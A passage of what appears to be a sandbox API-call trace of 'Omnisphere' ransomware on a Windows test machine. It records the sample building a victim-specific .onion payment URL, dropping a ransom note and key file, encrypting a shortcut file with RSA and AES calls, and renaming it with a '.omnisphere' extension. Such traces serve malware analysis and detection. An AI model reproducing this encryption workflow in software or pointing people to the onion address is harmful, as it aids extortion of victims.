lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.727] GetProcessHeap () returned 0x1600000 [0127.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5ae0 [0127.727] PathCombineW (in: pszDest=0x16f5ae0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.727] GetProcessHeap () returned 0x1600000 [0127.727] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1706888 [0127.727] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.727] WriteFile (in: hFile=0x28c, lpBuffer=0x1706888*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1706888*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.727] CloseHandle (hObject=0x28c) returned 1 [0127.727] GetProcessHeap () returned 0x1600000 [0127.728] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.728] GetProcessHeap () returned 0x1600000 [0127.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.728] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.728] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.728] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.728] CloseHandle (hObject=0x28c) returned 1 [0127.728] GetProcessHeap () returned 0x1600000 [0127.728] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.728] GetProcessHeap () returned 0x1600000 [0127.728] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b588 | out: hHeap=0x1600000) returned 1 [0127.728] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dbf43f6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dbf43f6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dbf43f6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Zw2GnEi91_3U.lnk", cAlternateFileName="ZW2GNE~1.LNK")) returned 1 [0127.728] GetProcessHeap () returned 0x1600000 [0127.728] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0127.728] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Zw2GnEi91_3U.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk" [0127.728] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.728] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zw2gnei91_3u.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.729] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=964) returned 1 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.729] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] GetTickCount () returned 0x115fde4 [0127.730] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669120) returned 1 [0127.730] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0127.730] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.730] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.730] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0127.730] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c4, lpName=0x0) returned 0x288 [0127.731] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c4) returned 0x1480000 [0127.731] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0127.731] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0127.731] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.731] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.731] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.731] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.734] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.734] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0127.734] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.734] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.734] GetProcessHeap () returned 0x1600000 [0127.734] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16f68e8 [0127.734] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zw2gnei91_3u.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zw2gnei91_3u.lnk.omnisphere")) returned 1 [0127.735] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk.omnisphere.id" [0127.735] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zw2gnei91_3u.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.735] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.736] CloseHandle (hObject=0x3c0) returned 1 [0127.736] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.736] CloseHandle (hObject=0x288) returned 1 [0127.736] SetEndOfFile (hFile=0x28c) returned 1 [0127.737] FlushFileBuffers (hFile=0x28c) returned 1 [0127.740] CloseHandle (hObject=0x28c) returned 1 [0127.740] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zw2GnEi91_3U.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.740] GetProcessHeap () returned 0x1600000 [0127.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, 